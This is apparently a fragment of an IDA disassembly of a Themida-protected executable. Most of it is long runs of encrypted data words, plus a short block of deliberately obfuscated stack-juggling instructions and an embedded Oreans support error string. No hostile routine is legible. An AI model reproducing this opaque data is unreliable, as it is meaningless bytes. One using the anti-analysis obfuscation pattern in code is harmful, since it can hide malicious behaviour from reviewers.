		dd 9A21A63Eh, 0DE65C60Eh, 6303988Fh, 1BE86DDDh,	0A09C39DCh
		dd 0AA64E66Ch, 0AAE2CCBh, 0C831B745h, 0C03BC13Eh, 81BB283Eh
		dd 0D47B764Bh, 892F834h, 966DE86Dh, 0AC2DB659h,	0C33EC87Dh
		dd 6D9BA145h, 7D926BE8h, 57ED3EC8h, 0B55422B7h,	5B966D2Bh
		dd 22A014B4h, 2B02h, 0A63E5800h, 0E66D9721h, 3EC87D14h
		dd 6DA73117h, 3ADD1BE8h, 4309AD9Dh, 0BA55966Dh,	16B5C116h
		dd 57DF6D8Ch, 8996CFEAh, 0AE548828h, 0FFFE9D02h, 0A73E58FFh
		dd 0F20D9B22h, 0FDFC8392h, 943EC8D6h, 0EF7166F6h, 61DE6105h
		dd 0C4E9BEC9h, 0C69D20A6h, 0AF6306A9h, 9B189B26h, 0C729C242h
		dd 350EA71Dh, 0C729C25Ah, 3CA6A953h, 0FC667504h, 4252h
		dd 966BB000h, 0E23EC87Dh, 993DE40Dh, 0E9882B44h, 0C87D9862h
		dd 0EA69EC3Eh, 3EC87D13h, 0C638D86Eh, 3EC34A7Fh, 7DBD3CC3h
		dd 36D43EC8h, 7DA930AFh, 42C83EC8h, 52E3999Eh, 0E7CC4F5h
		dd 0AC7B6Bh, 3ED50000h,	149B22A7h, 0C4F4AC36h, 1D981BA9h
		dd 0FC882746h, 2D20C078h, 0F80DB187h, 24BB5EFDh, 90DAA49h
		dd 138E15B4h, 0F491343Ch, 316DB256h, 0A63D0DF6h, 0B60F9D20h
		dd 74F7BA2Dh, 0F16EEB9Dh, 0C2E74961h, 0D3CBC3Dh, 0B335D3CDh
		dd 32431013h, 0EDFF493h, 0F940D66Fh, 49C64DD0h,	0CC372CF4h
		dd 0FE8B73Eh, 9963E96Ch, 0EF3C0D4Ah, 687F9E42h,	341CEC8Fh
		dd 945DA450h, 0F9CDFFBh, 12E20000h, 0F303D877h,	541EB554h
		dd 0F6F50AADh, 4A27BC5Bh, 3B6104A3h, 15B45B96h,	700FB2BEh
		dd 1CBB5A9Bh, 6205A8C7h, 8F4ED570h, 0E238D624h,	966D3909h
		dd 0DA19B659h, 0E961FE99h, 9E5FE467h, 0F13EC87Dh, 511EB353h
		dd 15E211AEh, 0D886D572h, 38DB1499h, 0B5E75D99h, 33710284h
		dd 0D1000000h, 0B857966Dh, 998B2B1Fh, 81FE8544h, 0C4F55173h
		dd 12E17E0Ch, 36BB42E5h, 2CA920B9h, 25C93FC7h, 6306F106h
		dd 0D4F54CCAh, 78F8D251h, 0D5733D10h, 0E86DEC32h, 0B039DC1Bh
		dd 3EC87D29h, 0C91EC248h, 946B0EADh, 2322BB5Ah,	0E383224Ch
		dd 0C87D665Eh, 28D5A03Eh, 0C13E48B3h, 3EC80C38h, 8B61F157h
		dd 0E88709F0h, 931AAF36h, 0E99CB00Ch, 1AA127C4h, 0E3862D45h
		dd 6BE86D5Bh, 3EC87D92h, 3DB757EDh, 3048E07h, 5CFFF8C7h
		dd 14603BCh, 3E7F0000h,	19961BA5h, 3EC87DC0h, 59A0299Fh
		dd 383EC87Dh, 65AE42D2h, 5D30E956h, 966D55DBh, 2B1FB857h
		dd 0B14BC88Bh, 7A3EC87Dh, 0E86D068Ch, 7D17E66Dh, 0DC6A3EC8h
		dd 0C87D8657h, 0CB6BD93Eh, 28460A88h, 1DA23EF8h, 0BAEC996h
		dd 0E773E56Bh, 9721A63Eh, 0CE364FFBh, 0A805848Dh, 47h
		dd 18A23E1Ah, 0C87D429Bh, 29A71D3Eh, 0FBA3CDA2h, 0C87D6574h
		dd 0C8EFC3Eh, 0E66DE66Ch, 3EC87D14h, 6D57E167h,	64E86DE5h
		dd 0FA2AF3BEh, 0EAF378DEh, 2C3EC822h, 3F0BA43Fh, 4CA145C3h
		dd 0FCF97F26h, 1B0256h,	3E580000h, 0C9961DA2h, 0E96F0FAAh
		dd 7D14E66Dh, 31173EC8h, 1BE56DA7h, 0FCB238DFh,	8DCE3656h
		dd 9A1E0584h, 0F701C25Ah, 38FBB54h, 8828B86Eh, 454Fh, 0A63EB300h
		dd 0E86D9721h, 0AE35DD1Bh, 3EC87D2Fh, 0A946C442h, 0A238FDA1h
		dd 0BD3EC87Dh, 0DF6DC147h, 859F4627h, 0D457F7B7h, 53DF6D4Eh
		dd 0E0877226h, 86F25954h, 1B2FC867h, 0AE4F99Dh,	56FCE56Bh
		dd 2502h, 0A63E5800h, 0E66D9721h, 3EC87D14h, 56A72C17h
		dd 293EC87Dh, 6D931D9Bh, 1BB45B96h, 46CC8F2Fh, 0B63CDB1Bh
		dd 0A20256FCh, 58FFFFFEh, 9B22A73Eh, 31F8ADC4h,	0A32C5756h
		dd 0C38720A2h, 0BA32023h, 0DDC4E9F2h, 0CB6A8B58h, 4A931832h
		dd 25C72986h, 0C543FF9Fh, 0E487713Eh, 0DC5FFF4Bh, 0A245E807h
		dd 59DCE570h, 298603DAh, 4FE85EC7h, 29861BF4h, 0AB4625C7h
		dd 7514E112h, 962FD69Ch, 0D9074A74h, 0D03A15EFh, 0FC66B098h
		dd 2EBEh, 966B4400h, 903EC87Dh,	0B940BF67h, 0D83EC87Dh
		dd 9564EB72h, 0EC3EC87Dh, 0D359DC5Eh, 194B0EDBh, 771E54FAh
		dd 4AEE6CDEh, 0E2FBEBh,	3E550000h, 0C49B22A7h, 0D8720BAAh
		dd 2C6EF538h, 0B8C4F557h, 0D36C0BEBh, 0EC50EB77h, 587D6618h
		dd 870E7CB8h, 7B1EBDB8h, 63EA8964h, 23C3628Ch, 14B50C0Ah
		dd 9921291h, 79463D0Dh,	0FF3BDB7Eh, 27954632h, 162F8F5Bh
		dd 1B2AC345h, 0E6B4594h, 2CAE1CCDh, 1EAA27AEh, 0DD02A78Ah
		dd 36658BB4h, 0EBBDD35Fh, 33429737h, 0E38B1194h, 0E2F8D32Eh
		dd 0A43BDA7Eh, 898D2AC9h, 902F3E34h, 4ED553F7h,	6BF845D3h
		dd 5DD01980h, 5D1B74B9h, 0A877372Fh, 0B8922BD2h, 27AE1C18h
		dd 9C451EAAh, 0F194132Bh, 1CBFB84Dh, 0E689667Dh, 0AA3C3412h
		dd 2BAF805Dh, 0C2Ah, 46E98470h,	8326C5B1h, 40DF866Ch, 8A2DC8ABh
		dd 32D57C75h, 2D448D0Fh, 0E40CE386h, 2C499E41h,	0DA15EA8Dh
		dd 9F269837h, 0D621D920h, 4BF7B838h, 8308DF6Dh,	0FB5C7B80h
		dd 0C669865Bh, 0AADCA29h, 0C968866Dh, 4ABC72Ch,	0F62CC6Bh
		dd 31CE698Ah, 7C2A9719h, 0E48770F5h, 9E5FE461h,	0F13EC8E9h
		dd 9A54B353h, 2854A22h,	5534h, 0A73E8E00h, 8A149B22h, 4DC4F557h
		dd 9AD51EB7h, 0CA879AE9h, 6842AEEh, 0BB638C63h,	2C2EA534h
		dd 0CC4EBCC7h, 665EE333h, 2C2E10E9h, 57D96FC7h,	4CD4FD4h
		dd 1A973D11h, 54C11897h, 2AA0CD01h, 15458A1h, 2DD137CDh
		dd 90333C31h, 15EA6F12h, 0AD9D3AD9h, 0DB1B4309h, 0B0969D3Ch
		dd 0CA3EC87Dh, 3890CABh, 0D61BC56Bh, 0DD7C7994h, 0AA5CBB5Bh
		dd 0F7E3A813h, 89E7285h, 6C75038Ah, 36F814B7h, 0E4D09270h
		dd 4D55D958h, 0A229A6A9h, 3DC4E925h, 803818B9h,	0DF61F71Dh
		dd 0C46B875Ch, 0DF6D1D25h, 5973C9FBh, 0AA9C48Ah, 0B62EE888h
		dd 0A0030543h, 192h, 0DA23A025h, 0B53E48CBh, 3EA9AF4Fh
		dd 189D20A5h, 0C87D429Bh, 7A71D3Eh, 14E66D41h, 173EC87Dh
		dd 0E56DA731h, 0B659966Dh, 3666E812h, 931DA23Eh, 0A63EE773h
		dd 0ADC59A21h, 5AE16906h, 0C87D04D5h, 49ED5B3Eh, 364FFB03h
		dd 5848DCEh, 0DD1CA31Eh, 0B43DC87Dh, 57397216h,	0C9000000h
		dd 1EE3DF6Dh, 4284C44Bh, 0A8D740B2h, 0F59978E5h, 7F06B903h
		dd 88BEA1F9h, 983DCD70h, 74BA5E2Bh, 0DD1BE86Dh,	0AD2CB33Ah
		dd 0C43EC87Dh, 5F9DA246h, 303EC87Dh, 966D109Ah,	0AC2DB25Ah
		dd 0C33EC87Dh, 2023C345h, 9FCEA5h, 0DF1BDA60h, 56FCB238h
		dd 4F02h, 966D5800h, 0F695605Ah, 0D66FF159h, 9622D474h
		dd 966D9F29h, 1417B75Ah, 0C87D4D8Fh, 0CC53CE3Eh, 3EC87D0Dh
		dd 0E164E664h, 0A845E412h, 7DC7169Dh, 2C9A3EC8h, 6D440AAEh
		dd 6BE86DE5h, 3EC87D92h, 22B757EDh, 0CAD8A358h,	21BE9DD0h
		dd 56FC199Fh, 0B45B966Dh, 8D72DA14h, 33E40584h,	5E000000h
		dd 9721A63Eh, 7D14E66Dh, 0E1673EC8h, 0C968855Ah, 0B47A1E2Ch
		dd 0DB1BE56Dh, 0DF6DB63Ch, 4C953431h, 7CB242B3h, 0C10BECDDh
		dd 69E7DB7Bh, 4B02h, 0DF6D5800h, 8301F08Dh, 0BB6D11CEh
		dd 8D284B25h, 52D85AF0h, 926BE86Dh, 0ED3EC87Dh,	0B956F500h
		dd 3D3A0F91h, 0AC33F69Ah, 3EC87D2Eh, 31D49CF1h,	0FC7E1D58h
		dd 1BE56D76h, 6DB63CDBh, 1CB95896h, 7D53AA29h, 982E3EC8h
		dd 0BC42761Ah, 0FFFE5902h, 0A73E58FFh, 94149B22h, 4BC4E9B7h
		dd 0E4BB36BDh, 6DCF680Bh, 4BD01198h, 0C96DEB29h, 1A8A3B34h
		dd 0EE058A51h, 0BE5F181h, 0FA7E847Dh, 501EF578h, 0FC2E0DB1h
		dd 56DD6061h, 0C729C387h, 70D36CDAh, 0C729C397h, 8A23C6B1h
		dd 50ED8C69h, 0C0450CBAh, 0AB9513BAh, 0DC147ED1h, 7AFC6673h
		dd 24h,	0F009860Bh, 36C729CBh, 4BFF9837h, 8F9539CFh, 0C87D966Bh
		dd 0C467903Eh, 0D5B525h, 410E0000h, 2CF29635h, 961DA73Eh
		dd 3EC87D47h, 0A72EAC1Ah, 0F5706E28h, 0DC15EAC4h, 1A5B9835h
		dd 0DD59FD7Bh, 0DE0FE467h, 0D7700BE8h, 7D52F573h, 0E234D170h
		dd 68E76E5Bh, 3D0D42C4h, 0D9A62D9Bh, 0CFC9A69Ch, 0E17EFCA3h
		dd 0B348E769h, 0BB8A23C2h, 0D36C07E4h, 34D3A277h, 1D0FAF9Bh
		dd 6677FCC8h, 0F9CD0ED6h, 0B860D8Bh, 0ED67584h,	7F7E05CDh
		dd 12CD0ED6h, 0EE92F874h, 1E6BE46Bh, 1EE372Fh, 4DD052F9h
		dd 5AFDFBC8h, 953C36BDh, 915E7313h, 0BBB44BEEh,	0AEBFB5C1h
		dd 3F0F910Fh, 5DAAFBC5h, 57904AE3h, 9D000008h, 3E9534CFh
		dd 19EE9130h, 40973AE1h, 0E2F99833h, 0ACD17017h, 0F79EDBF6h
		dd 0D2758358h, 0FE9DD82Fh, 0C86B845Bh, 910EB529h, 38D61D48h
		dd 6D7C4627h, 0CEBD5ADFh, 0F4941B1Eh, 0D06D10DFh, 30CF9E75h
		dd 0BE13B397h, 0EA710EB1h, 4BB3D563h, 2E86B81Bh, 4CD1A08Ah
		dd 25E18023h, 28552AFh,	0E7B7991Fh, 95871F1Fh, 4DB7C05h
		dd 65095D8Dh, 676Ch, 0F00AD900h, 3E9FA549h, 0FCADCBA7h
		dd 43C855A0h, 9835B3B7h, 0D6AD30B2h, 0D154F49Bh, 0F52C4452h
		dd 0E9510C4h, 0C72D2CCFh, 0C88424A2h, 0CC690CEBh, 0FC79FC7Eh
		dd 2D2C6677h, 0EB8BF9C7h, 2CECF152h, 6B19C72Dh,	3427AE4h
		dd 0B58AFC6Ah, 14B7C1BBh, 0AD51F996h, 3F34h, 0B5C29100h
		dd 0EAC77512h, 0E36C4E60h, 6AF09012h, 9B22A73Eh, 7D409916h
		dd 521F3EC8h, 66E48128h, 820144E4h, 0C4F55330h,	53A03DCBh
		dd 9DE8124h, 64B24BEEh,	0EA69ECDDh, 3D11A2ACh, 0B07619AFh
		dd 78CD6E9Ch, 0D345CA51h, 64C4F559h, 3DBB628Fh,	6D63BF44h
		dd 27BE87B5h, 4E941BA2h, 11FD9BC3h, 0EE75F073h,	0D9B1BEFh
		dd 0CB640482h, 50D3F64Bh, 0A7C0EFD3h, 8FF379F7h, 0DD7AD7ADh
		dd 7A104CECh, 87EA6EF3h, 3C8EEDF5h, 0C0AF44E4h,	595E550Fh
		dd 66E4486Eh, 0C9B17EC3h, 8E697E22h, 0D82B1BEBh, 98759D3Ah
		dd 6E542h, 0AE492B00h, 5BFAF40Bh, 0A44B27BCh, 62FDEE05h
		dd 0AA5128BFh, 91406207h, 0C91EC168h, 966D0CAFh, 0C219B857h
		dd 7B6F12B5h, 1C825BD8h, 0CDD38D6h, 39DC1B36h, 9CDAA99Ch
		dd 6E8459FDh, 6003EDC2h, 0FFFE83C7h, 923EC87Dh,	1FD376F4h
		dd 27AC2F9Ah, 0C4E9B783h, 0DA19B654h
		dd 0E325F9A0h, 0D549E32Fh, 680A238h, 0A6C60000h, 57976C0Bh
		dd 0B8C219B8h, 5A996E11h, 0AECB20BFh, 0DF056807h, 0C16007F2h
		dd 0CAB4E2Ah, 0B857F6F7h, 0EB15423h, 23BA39DCh,	3E38D61Fh
		dd 0A73ED56Dh, 9C149B22h, 3CC4E9B7h, 4EE78667h,	6AE05CFCh
		dd 4E4C26CDh, 63E7801Fh, 2F0D11E5h, 0D65749E3h,	62904h
		dd 0E27D6F00h, 2FCEA83Fh, 0D87F7B90h, 36D1A239h, 8E353C93h
		dd 7D5486EBh, 0D52ACD74h, 8259F89Bh, 9E35D473h,	578B2ED1h
		dd 1FA637BCh, 0F0B938D6h, 0CBA73E52h, 0DC6E07AEh, 0F008D75Eh
		dd 29A6A94Dh, 0C4E9B78Dh, 0B3B6A652h, 0ACEAE63Eh, 0A2D8A72Eh
		dd 31C25BFBh, 5ECEA249h, 2A49E395h, 5C87565h, 0DE0E0000h
		dd 1F4FA443h, 0F00AE180h, 2251A649h, 0E613E887h, 27BDA03Fh
		dd 8928CFAAh, 44E38672h, 801FBEAFh, 46E98C6Bh, 6B72F194h
		dd 638D61Eh, 0DC1B9D25h, 0F67413E2h, 0AC5D9A59h, 3F5016A8h
		dd 0EE8D6858h, 0F977F951h, 0FC53DB5Ch, 0BEA843C9h, 67B9060h
		dd 68628D62h, 0C3629391h, 2D4BA845h, 0E78A088Ah, 0AB44E710h
		dd 0C8C14298h, 0BAAC43Eh, 80728172h, 0C3ED776h,	9F3F18Eh
		dd 14B7C146h, 501FFB96h, 6609ACCBh, 199C2DB4h, 0E90B269Ah
		dd 0C84BB9C4h, 0B659FCFBh, 6BA55621h, 376213D2h, 0CF6E7F54h
		dd 0C291B451h, 0BE7010B7h, 961BA227h, 6F0FAAC9h, 0BC681EAh
		dd 0E76EDC3Dh, 0DEF06D61h, 0C759861h, 191F7CDh,	0F39319DDh
		dd 0F1946330h, 0C27D0B4Eh, 0B0A5AA88h, 4F28BD61h, 0A63213ACh
		dd 4D9EB9D6h, 20B9436Fh, 0ED76AF3Bh, 9F463308h,	11B80DFFh
		dd 597B058Ah, 8EFC3731h, 0AB8610BAh, 77632C5Dh,	4C2h, 0AE51EC08h
		dd 0DB7E1D59h, 0A847EE04h, 0E2852053h, 9A3DE40Dh, 0C5AC25B7h
		dd 8C647B1Eh, 0C4B146E9h, 826D8225h, 78E40DFh, 0D6197188h
		dd 0A31F1038h, 9C39DC1Bh, 0EE751857h, 7DEDEC73h, 6843EC8h
		dd 0A4FC362h, 15B73CBFh, 6C4F559h, 995CE780h, 86C72CA1h
		dd 0F96FD998h, 5FFC6991h, 80h, 0DA7F62E6h, 0B658C0E5h
		dd 0A73E0C12h, 9B169B22h, 0C87DC514h, 0A52E9C3Eh, 3EC87D54h
		dd 3523511Bh, 0E46018AAh, 27FC266h, 6CF9007Fh, 32983EC8h
		dd 0BFEBC98Eh, 7F74C4F4h, 1337D06Fh, 9DCA1390h,	1FA5C72Ch
		dd 724104A1h, 347E087h,	9D1BDE63h, 0D815C72Ch, 0DA7316E2h
		dd 9E55F270h, 4E962FD2h, 9177A5ACh, 7AF25CF3h, 52FC6991h
		dd 44CB737Dh, 0C72C91B5h, 23BC3ECCh, 0E84E8727h, 0B4000000h
		dd 9C39DC1Bh, 0DA731A57h, 0A23BDE19h, 58A11EA3h, 373EC87Dh
		dd 9FD82DD1h, 54D85DFCh, 39B2C036h, 0B936BDFFh,	3EC84A20h
		dd 2025C93Fh, 3EC84E18h, 6A7F6CF0h, 1AFB5CE9h, 0EE966176h
		dd 0C8416871h, 0FF81073Eh, 0C96C8B60h, 7653EA2Ch, 62BA70EFh
		dd 0CF35C4F5h, 0D776774Ch, 0CD6C0C3Eh, 3EC50459h, 13CF68C1h
		dd 0FA81073Dh, 2BD2A877h, 9D22BA8h, 17ADCD0Fh, 0F0976277h
		dd 0B75A966Dh, 16E3F817h, 0A13EDD18h, 4A7D0A9h,	8D61DF6Bh
		dd 43C5ECF3h, 4BA238D5h, 91000003h, 0D229C863h,	8D6205A4h
		dd 0C41BBE65h, 966D0CA7h, 3015B45Bh, 0A34A27AAh, 5E01EF04h
		dd 0AA4924BBh, 6407F007h, 0ED7211C5h, 38D618ECh, 1B18AA83h
		dd 959837DEh, 6D11B0BEh, 89655F98h, 60E568EAh, 27C06793h
		dd 7D5F9E23h, 94323EC8h, 3E0D15F4h, 149B22A7h, 0C4F4AE1Eh
		dd 45C043C1h, 43DC836Eh, 0B27B8207h, 0A216C72Ch, 404DD84h
		dd 701092E8h, 5D696CD7h, 0F96C72Ch, 10DDA889h, 9C28D696h
		dd 9C9D403Bh, 947E2286h, 701D53BDh, 0CB3BFC69h,	0C7000000h
		dd 605A966Dh, 0DA73F598h, 3C3BD070h, 0FAF7FC99h, 0B750F3FCh
		dd 482D6085h, 7EFC628Ah, 0D8E063FCh, 5E3EC82Ch,	0B7569791h
		dd 0BBA01E1Eh, 835DF308h, 0FE48305h, 6908E6E0h,	71C84EE7h
		dd 0F1FED558h, 0F599B14Eh, 0C0FFAD32h, 0DA70C4F5h, 4B7EC337h
		dd 0A51D4BC8h, 9A173D13h, 0FA7C415h, 892D9BCDh,	28B437CDh
		dd 7715DA53h, 86C96DF1h, 7619C0B9h, 7114DCB3h, 9A4138CDh
		dd 0C5BE30C6h, 0AF2B0443h, 232h, 3EE17C78h, 8B2ECDA9h
		dd 38D77E74h, 9235D0A3h, 0EA8D343Dh, 757C5587h,	9CD42BCEh
		dd 748156F9h, 0D29D32D5h, 0B75E902Fh, 0D61BA138h, 53EFC038h
		dd 0AD32DE1Bh, 3EC87D2Ch, 0A443C543h, 0DA7D204Fh, 0CA718857h
		dd 0DC1B2026h, 12DDB239h, 0F06FD66Fh, 3EC87DE9h, 0E0800288h
		dd 4931FE47h, 9872E4Bh,	0A53ADE6Ch, 968827CAh, 6CF37A4Fh
		dd 0C4F55FA2h, 0D36CF35h, 0C72CA3C8h, 9E084735h, 0FC699426h
		dd 202222A6h, 0AF8F23A2h, 3CD60Fh, 3E2C0000h, 0D9B22A7h
		dd 816E16F6h, 0CE51F5B6h, 0F821C553h, 58415A89h, 2BC973B8h
		dd 0E462C4F5h, 31E5F84Bh, 7412C72Dh, 0FDFD73DDh, 54D1FC69h
		dd 2D3D0ECFh, 43E361C7h, 588Ah,	916BF800h, 0E33EC87Dh
		dd 7D18E15Eh, 11773EC8h, 82F4058Ah, 0FD8BC137h,	0B712A759h
		dd 0AF34B134h, 0C137822Eh, 0BF3EC341h, 0D2C13782h, 12919434h
		dd 3B0AB84Ch, 475E9418h, 1AA09C4Ah, 26CD0C93h, 26A4C72Ch
		dd 0A140C682h, 20D2109Ch, 0A7AE41D6h, 0C1F7306Fh, 9135B354h
		dd 22A73E8Bh, 149B169Bh, 3EC87DC5h, 4958209Ch, 744E0250h
		dd 23CD52F6h, 34C4F5C8h, 0B74AF996h, 71C72D10h,	0AB48E584h
		dd 0FA99D5CBh, 0D658DF78h, 0B9634D7Bh, 23144CB6h, 0EBB8FC6Ah
		dd 78D26B0Ah, 8D31D4A3h, 1354h,	966BAE00h, 0B33EC87Dh
		dd 9B189B2Eh, 0C4F547C5h, 0C9913096h, 9B22A73Eh, 3C5C9216h
		dd 0BB3B464Ch, 0C87EA534h, 0CC4EBC3Eh, 0B46B272Ch, 5EECC4E9h
		dd 4B4532C1h, 0C9B18A2Dh, 43C58522h, 6F204FA4h,	472BC943h
		dd 0A23BBDC6h, 99BF62A1h, 23CBA424h, 999F5D9Ch,	149634E2h
		dd 0DC7F787Bh, 0A845E807h, 0ED8A2D4Bh, 0DE719B5Dh, 400F1FB0h
		dd 3C37F0Dh, 10A176ABh,	0B95C9B70h, 13B6C116h, 0DF7A797Ah
		dd 21C0AD46h, 0DF7E6F84h, 5BF6A846h, 1BE86B2Dh,	22BB38D8h
		dd 3DE299A4h, 7BA549C7h, 0DD806FF4h, 22CAA53Ah,	0A4D9209Fh
		dd 52B8E299h, 99A430C9h, 37B94FE2h, 103C9Eh, 0CA990000h
		dd 0FC830AADh, 0E299A4FDh, 0CC52F694h, 0D91BBC86h, 2552A13Eh
		dd 0DF0EE582h, 244CA740h, 0E20FE481h, 2851A23Bh, 0DC0FE481h
		dd 234FA441h, 0E610E37Ch, 5124AE47h, 0C1815954h, 4, 8704E983h
		dd 685C240Ch, 3F2Dh
		db 89h,	34h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 13882672h
		neg	eax
		neg	eax
		xor	eax, 15966D50h
		mov	esi, eax
		pop	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	506Ah
		mov	[esp], edx
		mov	edx, 8
		add	edx, ecx
		mov	[edx], esi
		pop	edx
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_53531C
; ---------------------------------------------------------------------------
		db 18h,	5, 0ECh
		dd 1AEC7D42h, 1E68FAB8h, 0FFC50306h, 70B84FE0h,	0D9884E37h
		dd 0FBAAC964h, 0D2798D01h, 7C27E712h, 0D6008E38h, 0C1AB882Fh
		dd 58F5242Fh, 0EFF5D02Dh, 919F3661h, 97362D6Bh,	0C9D97951h
		dd 0E8282C73h, 0D211C33h, 0D2868B0Dh, 6E843h, 0BB780000h
		dd 891BD70Ah, 58F38B66h, 6506C081h, 680000h, 66000000h
		dd 5B08CBB9h, 60183C8Bh, 840F56h, 58000000h, 0EE9h, 0E451A500h
		dd 37F7625Dh, 314DC37Ch, 6164DE08h, 0A06C781h, 0B9664D89h
		dd 0EF8191B2h, 3B0E46Fh, 81C8BF0Fh, 0DC597FF7h,	3C89F52Fh
		dd 0C28B6018h, 0FE9h, 9E0CF800h, 1445F829h, 0EA8E3936h
		dd 0FEAB0E26h, 9E961h, 2B840000h, 48616B3Eh, 832FDF89h
		dd 0BA6601EBh, 4B4BE82Ch, 25BA664Bh, 94FB81A3h,	0FFFFF9Bh
		dd 0FFFF8385h, 1840FFFh, 0FC000000h, 83E9h, 52515300h
		dd 5C8B5756h, 81661C24h, 0F5A4D3Bh, 6885h, 43B70F00h, 66D8033Ch
		dd 45503B81h, 57850Fh, 5B8B0000h, 245C0378h, 24738B1Ch
		dd 1C247403h, 207B8B56h, 31C738Bh, 320247Ch, 0FC202474h
		dd 41FFC983h, 1C245C8Bh, 5403178Bh, 0C7832024h,	84028A04h
		dd 3A0874C0h, 43E87503h, 3AF2EB42h, 5FE07503h, 0B70FE1D1h
		dd 48B0F04h, 24440386h,	5A5E5F1Ch, 8C25B59h, 0E9C03300h
		dd 0FFFFFFF1h, 0DE8CA8Bh, 0EA000000h, 0C087C210h, 0B0CDF93Dh
		dd 6CDCCDEDh, 8E8h, 2DCD2400h, 9FCA6D7Eh, 0CEB70F81h, 8E0F5A5Bh
		dd 5, 97CDCCB8h, 68C28174h, 0E9000064h,	0Bh, 4B715678h
		dd 0D5A1E786h, 68681C5Bh, 18D3h, 68A0F60h, 0F000000h, 81h
		dd 11E900h, 22880000h, 4B9CEBCDh, 2A373583h, 12430AFFh
		dd 611DD76Ch, 1BF1815Fh, 0FF69DCF9h, 5E29B432h,	0EE9h
		dd 0D97DB100h, 0BACE61F9h, 0B9F4DFA8h, 81DF8C1Dh, 14E1CBF6h
		dd 0FE80Dh, 0FB5B0000h,	66333754h, 0A030AC0Ch, 42FF32D0h
		dd 580DB41Eh, 5BE1EE81h, 0BB6619E1h, 0F6810121h, 5D2B467Ah
		dd 6656EAB5h, 28FCA8Bh,	8E8h
		db 0
byte_5640BD	db 1Dh,	7Eh, 0DDh	; DATA XREF: Themida_:0052D4FAo
		dd 0C5293515h, 840F3Dh,	5B000000h, 4A03EA83h, 4FC2BF0Fh
		dd 2B850Fh, 0E9560000h,	0Fh, 3C825468h,	64D95E15h, 0E1CA476Bh
		dd 584B164Bh, 26E9h, 0B6CB2A00h, 9BD1D015h, 3F5F7721h
		dd 343FDAA3h, 5DDF8097h, 0FFFF5EE9h, 68BA8EFFh,	26DEFAE4h
		dd 2E9D50BAh, 0E9F68523h, 400h,	417DE0h, 206E4133h, 65746E69h
		dd 6C616E72h, 63786520h, 69747065h, 6F206E6Fh, 72756363h
		dd 28206465h, 72646441h, 3A737365h, 25783020h, 0D0A2978h
		dd 61656C50h, 202C6573h, 746E6F63h, 20746361h, 70707573h
		dd 4074726Fh, 6165726Fh, 632E736Eh, 202E6D6Fh, 6E616854h
		dd 6F79206Bh, 2175h, 0E4h dup(0)
		dd 56h,	45h, 0
		dd 115AE9h, 0BE900h, 72DF0000h,	14288BEBh, 559BA5EBh, 0ED95894Ch
		dd 8B061B06h, 1B2DB985h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 1FC7181Ah, 60F23197h
		dd 2EB5958Bh, 0BD31061Bh, 61B1415h, 39B58961h, 0F061B31h
		dd 1781h, 12E900h, 4ED10000h, 0BDC699FBh, 0B830B4E1h, 2739115Bh
		dd 684C1124h, 4244439h,	97850Fh, 9E90000h, 8E000000h, 0DFE50FAFh
		dd 0DEE88B2Bh, 2235BD83h, 0F00061Bh, 7C84h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 509AAB8Ah, 0E8A0F3Dh, 60000000h, 880Fh, 8D8B0000h, 61B12C9h
		dd 1F858D61h, 6A061B39h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 89AFC356h, 1B2D658Dh
		dd 0E0FFF506h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	27C35747h, 0B5858BFCh, 0E9061B29h, 6, 7BB96A50h
		dd 4439A77Ch, 850F0424h, 58h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0FC35242h, 0B3980475h, 0FD07FA7h
		dd 68Eh, 418D8900h, 0C7061B0Ah,	1E702785h, 106h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 1B9F04E2h, 0E1852960h, 0E9061B02h, 27h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 50C35141h, 0A19D0946h
		dd 61B07h, 0B8000000h, 1, 71E28587h, 0C00B061Eh, 0B5FFF675h
		dd 61B239Dh, 701F858Fh,	206A061Eh, 95FFFF6Ah, 61B11A5h
		dd 1951BD83h, 7400061Bh, 0FF006A08h, 1B220595h,	0A1BD8306h
		dd 1061B2Fh, 80680D74h,	6A000000h, 0A595FFFFh, 6A061B11h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0C36AC355h, 393AD7E3h, 7E9FAh, 4A970000h
		dd 16907503h, 0E19D2932h, 0E9061B10h, 6, 0F97A261Eh, 8D89A90Ch
		dd 61B001Dh, 6AC02Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0E1D9D5C3h, 603E9B78h, 3D958BF9h
		dd 61061B32h, 2824548Bh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 9DC35343h, 222DA9DAh,	0AC752780h, 258589FCh
		dd 6A061B07h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0CEEDC353h, 8B6054EEh,	1B17ADB5h
		dd 0F6BF0F06h, 3CBE61h,	6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 0D2562BC3h, 0B5293EB7h
		dd 61B2FD5h, 24247403h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 8DC35747h, 0B6B75AD8h, 18D0Fh, 89FC0000h
		dd 1B3219BDh, 60AD6606h, 0B5B589F5h, 61061B1Ch,	2B19B501h
		dd 4403061Bh, 95892424h, 61B1435h, 168E0F50h, 0F000000h
		dd 108Eh, 0BE900h, 4A630000h, 0DC3DF5E7h, 4331367Ch, 24048983h
